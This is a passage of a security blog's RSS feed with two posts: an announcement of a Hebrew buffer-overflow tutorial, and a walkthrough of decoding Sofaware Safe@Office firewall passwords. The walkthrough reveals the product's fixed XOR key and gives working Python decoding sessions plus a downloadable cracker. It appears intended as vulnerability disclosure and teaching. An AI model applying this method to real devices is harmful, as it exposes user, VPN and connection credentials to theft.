				<content:encoded><![CDATA[<p>Wrote an article named : &#8220;<a href="http://www.digitalwhisper.co.il/files/Zines/0x0B/DW11-6-BoF101.pdf" target="_blank"><span style="color: #ff6600;">Buffer Overflows 101</span></a>&#8221;  which was published today on the Israeli  Security Magazine &#8220;<a href="http://www.digitalwhisper.co.il" target="_blank"><span style="color: #ff6600;">Digital Whisper</span></a>&#8221; <a href="http://www.digitalwhisper.co.il/issue11" target="_blank"><span style="color: #ff6600;">issue 11</span></a>.</p>
<p>The article is in the Hebrew language and covers the basics of buffer overflows,fuzzing,olly basics,writing a metasploit modules and more&#8230;</p>
<p>The article has a companion <strong>tar.gz</strong> file which includes the source code of the vulnerable server (Which was ported into the windows os and customize for the magazine) , a metasploit exploit module and template,  some of the tools used and some other goodies&#8230;</p>
<p>I hope i&#8217;ll find the time to rewrite it in english and publish it here on the blog as well.</p>
<p>I would like to thank <strong><span style="color: #000000;">cp77fk4r</span></strong><strong> </strong>for giving me the opportunity to write this article and for all the help and support, I really appreciate it!</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/07/fuzz.bmp"><img class="aligncenter size-full wp-image-1257" title="Whisperer" src="http://exploit.co.il/wp-content/uploads/2010/07/fuzz.bmp" alt="" width="604" height="461" /></a></p>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Digital+Whisper+Magazine+issue+11+http%3A%2F%2Fexploit.co.il%2F%3Fp%3D1256" title="Post to Twitter"><img class="nothumb" src="http://exploit.co.il/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter-micro4.png" alt="Post to Twitter" /></a></p></div><div class='wpfblike' style='height: 40px;'><fb:like href='http://exploit.co.il/hacking/digital-whisper-magazine-issue-11/' layout='default' show_faces='false' width='400' action='like' colorscheme='light' send='false' /></div>]]></content:encoded>
			<wfw:commentRss>http://exploit.co.il/hacking/digital-whisper-magazine-issue-11/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cracking Sofaware Safe@Office UTM (SBOX) Passwords</title>
		<link>http://exploit.co.il/hacking/cracking-sofaware-sbox-passwords/</link>
		<comments>http://exploit.co.il/hacking/cracking-sofaware-sbox-passwords/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 18:15:08 +0000</pubDate>
		<dc:creator>NightRanger</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[base64]]></category>
		<category><![CDATA[cracker]]></category>
		<category><![CDATA[decoding]]></category>
		<category><![CDATA[encoding]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[Safe@Office]]></category>
		<category><![CDATA[sbox]]></category>
		<category><![CDATA[sbox password]]></category>
		<category><![CDATA[sofaware]]></category>
		<category><![CDATA[utm]]></category>
		<category><![CDATA[xor]]></category>

		<guid isPermaLink="false">http://exploit.co.il/?p=1134</guid>
		<description><![CDATA[The Safe@Office UTM is a fully-integrated stateful inspection firewall, intrusion prevention, VPN and antivirus gateway, specifically designed to meet the needs of small businesses of various sizes. You can manage the Safe@Office (SBOX) via a web interface or SSH, This product has several passwords stored in its configuration such as: 1. User passwords 2. VPN ...]]></description>
				<content:encoded><![CDATA[<p>The Safe@Office UTM is a fully-integrated stateful inspection firewall, intrusion prevention, VPN and antivirus gateway, specifically designed to meet the needs of small businesses of various sizes.</p>
<p>You can manage the Safe@Office (SBOX) via a web interface or SSH, This product has several passwords stored in its configuration such as:</p>
<p>1. User passwords</p>
<p>2. VPN Passwords</p>
<p>3.  Internet connection passwords</p>
<p>When connecting to the device using SSH and running the &#8220;show users&#8221; command, we can see all configured users and their settings, for example:</p>
<pre>exploit@blackbox &gt;ssh admin@sbox.exploit.co.il
admin@sbox.exploit.co.il's password:
Welcome to Safe@Office 500WP, unlimited nodes, Evaluation Version 8.0.42x 00:08:da:77:53:fa
00-08-da-77-53-fa &gt;show users</pre>
<pre>name user
password {S}<strong>PS43OjF5NyBH</strong>
adminaccess readonly
vpnaccess false
filteroverride false
hotspotaccess false
rdpaccess false
users-manager false
networkaccess false
expire never</pre>
<p>As you can see above the password is encrypted.</p>
<p>In this post I will show the process of decoding the password to its original form.</p>
<p>First of all I must thank <strong><span style="color: #000000;">Yoni.d</span></strong> for breaking it, sharing it and allowing me to publish his finding.</p>
<p>I will walk through the process <span style="color: #000080;"><strong><span style="color: #000000;">Yoni</span></strong></span><span style="color: #000000;"> </span>used to crack it and at the end of the post you can <strong>download a python script</strong> which you can use to decode these passwords.</p>
<p><span id="more-1134"></span></p>
<p>Lets start&#8230;</p>
<p>At first glance the password encoding scheme looks familiar,  It looks like Base64 Encoding.</p>
<p>Well,  Thats too easy right?,  Lets use python to decode it:</p>
<pre>&gt;&gt;&gt; import base64
&gt;&gt;&gt; d = base64.b64decode("XH13fXM=")
&gt;&gt;&gt; print d

\}w}s</pre>
<p>The result is another encoded string (argh&#8230;),  We will also need to find which encoding was used for it.<br />
SBOX allows us to create a <strong>p</strong><strong>assword of 5 to 25 chars long</strong>,  Lets create a password of 5 chars made all of zeros: &#8220;<strong>00000</strong>&#8220;.<br />
Our password will be encoded to:  <strong>XX90eXY=</strong></p>
<p><strong> </strong><br />
Lets decode our newly created password:</p>
<pre>&gt;&gt;&gt; import base64
&gt;&gt;&gt; d = base64.b64decode("XX90eXY=")
&gt;&gt;&gt; <strong>len(d)
5</strong>
&gt;&gt;&gt; print d
]tyv
&gt;&gt;&gt; print repr(d)
']\x7ftyv'</pre>
<p>We can see our decoded string length is the same as our original password length which is 5 chars.<br />
This lead us to believe that the encoding used for this password is  <strong>XOR.</strong></p>
<p>Here&#8217;s what we know this far:</p>
<p>1. The password (00000)<br />
2. The password base64 encoded form<br />
3. The password base64 decoded form</p>
<p>If the decoded string was indeed xor&#8217;d then the same key is used for encoding and decoding<br />
here hows xor works:</p>
<p>X := X XOR Y<br />
Y := X XOR Y<br />
X := X XOR Y</p>
<p>You can read more about XOR at <a href="http://en.wikipedia.org/wiki/XOR_swap_algorithm" target="_blank">Wikipedia</a></p>
<p>We will XOR the 2nd encoded string using &#8220;0&#8243; in order to find the key that was initially used to encode it.</p>
<p>Lets find the decimal ASCII value of  &#8221;0&#8243;:</p>
<pre>&gt;&gt;&gt; ord("0")
48</pre>
<p>We will also convert our decoded base64 string to its ASCII decimal values:</p>
<pre>&gt;&gt;&gt; import base64
&gt;&gt;&gt; d = base64.b64decode("XX90eXY=")
&gt;&gt;&gt; for char in d:
...     print ord(char),
...
93 127 116 121 118</pre>
<p>Now we will XOR each char with <strong>48</strong> (which is &#8220;<strong>o</strong>&#8220;)</p>
<pre>&gt;&gt;&gt; for char in d:
...     print ord(char)^48,
...
109 79 68 73 70</pre>
<p>Let&#8217;s convert these values to ASCII decimal values:</p>
<pre>&gt;&gt;&gt; for char in d:
...     x = ord(char)^48
...     print chr(x),
...
m O D I F</pre>
<p>Well, The key for our 5 chars password is : &#8220;<strong>mODIF&#8221;</strong><br />
Next step is to create a full 25 chars password made all of zeros in order to find the whole key</p>
<p>Here is the base64 encoded 25 zeros password:</p>
<p>XX90eXZ5dXRWZ0Bif2B1YmRpQ3h1dWRHeQ==</p>
<pre>&gt;&gt;&gt; import base64
&gt;&gt;&gt; d = base64.b64decode("XX90eXZ5dXRWZ0Bif2B1YmRpQ3h1dWRHeQ==")
&gt;&gt;&gt; len(d)
25
&gt;&gt;&gt; for char in d:
...     x = ord(char)^48
...     print chr(x),
...
m O D I F I E D f W p R O P E R T Y s H E E T w I</pre>
<p>We found the whole key which is:  &#8221;<strong>mODIFIEDfWpROPERTYsHEETwI</strong>&#8221;<br />
Now that we found the key used to encode our password we can use it to decode it.</p>
<pre>&gt;&gt;&gt; import base64,sys
&gt;&gt;&gt; key = ["m" ,"O" ,"D" ,"I" ,"F" ,"I" ,"E" ,"D" ,"f" ,"W" ,"p" ,"R" ,"O" ,"P" ,"E" ,"R" ,"T" ,"Y" ,"s" ,"H" ,"E" ,"E" ,"T" ,"w" ,"I"]
&gt;&gt;&gt; d = base64.b64decode("XX90eXZ5dXRWZ0Bif2B1YmRpQ3h1dWRHeQ==")
&gt;&gt;&gt; count = 0
&gt;&gt;&gt; for char in d:
...     x = ord(char)
...     y = ord(key[count])
...     i = x^y
...     z = chr(i)
...     print z,
...     count += 1
...
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0</pre>
<p><strong>Whoohoo&#8230;It worked!</strong></p>
<p>Lets try to decode another password, i created the password: &#8220;<strong>Passw0rd!</strong>&#8220; which was encoded to &#8220;<strong>P</strong><strong>S43OjF5NyBH</strong>&#8220;, lets decode it&#8230;</p>
<pre>&gt;&gt;&gt; import base64,sys
&gt;&gt;&gt; key = ["m" ,"O" ,"D" ,"I" ,"F" ,"I" ,"E" ,"D" ,"f" ,"W" ,"p" ,"R" ,"O" ,"P" ,"E" ,"R" ,"T" ,"Y" ,"s" ,"H" ,"E" ,"E" ,"T" ,"w" ,"I"]
&gt;&gt;&gt; d = base64.b64decode("PS43OjF5NyBH")
&gt;&gt;&gt; count = 0
&gt;&gt;&gt; for char in d:
...     x = ord(char)
...     y = ord(key[count])
...     i = x^y
...     z = chr(i)
...     print z,
...     count += 1
...
P a s s w 0 r d !</pre>
<p>Great it was decoded correctly.</p>
<p>After trying to decode several passwords we&#8217;ll encounter an exception with this password: &#8220;<strong>jhBu1232</strong>&#8221; which was encoded to &#8220;<strong>hyeGPHd7dnY=</strong>&#8221;</p>
<pre>&gt;&gt;&gt; import base64,sys
&gt;&gt;&gt; key = ["m" ,"O" ,"D" ,"I" ,"F" ,"I" ,"E" ,"D" ,"f" ,"W" ,"p" ,"R" ,"O" ,"P" ,"E" ,"R" ,"T" ,"Y" ,"s" ,"H" ,"E" ,"E" ,"T" ,"w" ,"I"]
&gt;&gt;&gt; d = base64.b64decode("hyeGPHd7dnY=")
&gt;&gt;&gt; count = 0
&gt;&gt;&gt; for char in d:
...     x = ord(char)
...     y = ord(key[count])
...     i = x^y
...     z = chr(i)
...     print z,
...     count += 1
...
ê h Â u 1 2 3 2</pre>
<p>As you can see some chars wasn&#8217;t decoded correctly : &#8220;<strong>êhÂu1232</strong>&#8221;</p>
<p>Let&#8217;s try to figure why by looking at their decimal ASCII values:</p>
<pre>&gt;&gt;&gt; for char in d:
...     x = ord(char)
...     y = ord(key[count])
...     i = x^y
...     z = chr(i)
...     print ord(z),
...     count += 1
...
234 104 194 117 49 50 51 50</pre>
<p>Ok, our first char of the password was suppose to be &#8220;<strong>j</strong>&#8221; which has the value of &#8220;<strong>106</strong>&#8221; for some reason our decoder sees it as &#8220;<strong>234</strong>&#8221;</p>
<p>Let&#8217;s subtract these two numbers:</p>
<p><strong>234 &#8211; 106 = 128</strong></p>
<p>well it seems that every value that is bigger than <strong>128</strong> will not be decoded correctly as you can see below:</p>
<pre>&gt;&gt;&gt; chr(234)
'\xea'
&gt;&gt;&gt; chr(234-128)
'j'
&gt;&gt;&gt; chr(104)
'h'
&gt;&gt;&gt; chr(194)
'\xc2'
&gt;&gt;&gt; chr(194-128)
'B'
&gt;&gt;&gt; chr(117)
'u'
&gt;&gt;&gt; chr(49)
'1'
&gt;&gt;&gt; chr(50)
'2'
&gt;&gt;&gt; chr(51)
'3'
&gt;&gt;&gt; chr(50)
'2</pre>
<p>This means we will need to fix the python loop to check for any char that is bigger than 127 and deal with it accordingly.</p>
<pre>&gt;&gt;&gt; import base64
&gt;&gt;&gt; key = ["m" ,"O" ,"D" ,"I" ,"F" ,"I" ,"E" ,"D" ,"f" ,"W" ,"p" ,"R" ,"O" ,"P" ,"E" ,"R" ,"T" ,"Y" ,"s" ,"H" ,"E" ,"E" ,"T" ,"w" ,"I"]
&gt;&gt;&gt; d = base64.b64decode("hyeGPHd7dnY=")
&gt;&gt;&gt; count = 0
&gt;&gt;&gt; for char in d:
...     if (ord(char)!=0):
...           x = ord(char)
...           y = ord(key[count])
...           i = x^y
...           if (i &gt; 127) :
...               i = i - 128
...               z = chr(i)
...               print z,
...               count += 1
...           else:
...               z = chr(i)
...               print z,
...               count += 1
...
j h B u 1 2 3 2</pre>
<p>Great our encoded password was decoded correctly this time.</p>
<p>You can download the SBOX Password Cracker Python Script Here:</p>
<div class="attachments"><h6>Sofaware SBOX Password Cracker</h6><dl class="attachments attachments-large"><dt class="icon"><a title="spc.tar.gz" href="#"  OnClick="alert('Attachments restricted to register users only');"><img src="http://exploit.co.il/wp-content/plugins/eg-attachments/img/flags/gz.png" width="48" height="48" alt="spc.tar.gz" /></a></dt><dd class="caption"><img class="lock" src="http://exploit.co.il/wp-content/plugins/eg-attachments/img/lock.png" height="16" width="16" alt="Document locked" /><strong>Title</strong> : <a title="spc.tar.gz" href="#"  OnClick="alert('Attachments restricted to register users only');">spc.tar.gz</a><br /><strong>Caption</strong> : Sofaware SBOX Password Cracker<br /><strong>File name</strong> : spc.tar.gz<br /><strong>Size</strong> : 865 B</dd></dl></div>
<div id="attachment_1251" class="wp-caption aligncenter" style="width: 310px"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/07/spc.jpg"><img class="size-medium wp-image-1251" title="SBOX Password Cracker" src="http://exploit.co.il/wp-content/uploads/2010/07/spc-300x191.jpg" alt="SBOX Password Cracker" width="300" height="191" /></a><p class="wp-caption-text">SBOX Password Cracker</p></div>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Cracking+Sofaware+Safe%40Office+UTM+%28SBOX%29+Passwords+http%3A%2F%2Fexploit.co.il%2F%3Fp%3D1134" title="Post to Twitter"><img class="nothumb" src="http://exploit.co.il/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter-micro4.png" alt="Post to Twitter" /></a></p></div><div class='wpfblike' style='height: 40px;'><fb:like href='http://exploit.co.il/hacking/cracking-sofaware-sbox-passwords/' layout='default' show_faces='false' width='400' action='like' colorscheme='light' send='false' /></div>]]></content:encoded>
			<wfw:commentRss>http://exploit.co.il/hacking/cracking-sofaware-sbox-passwords/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>


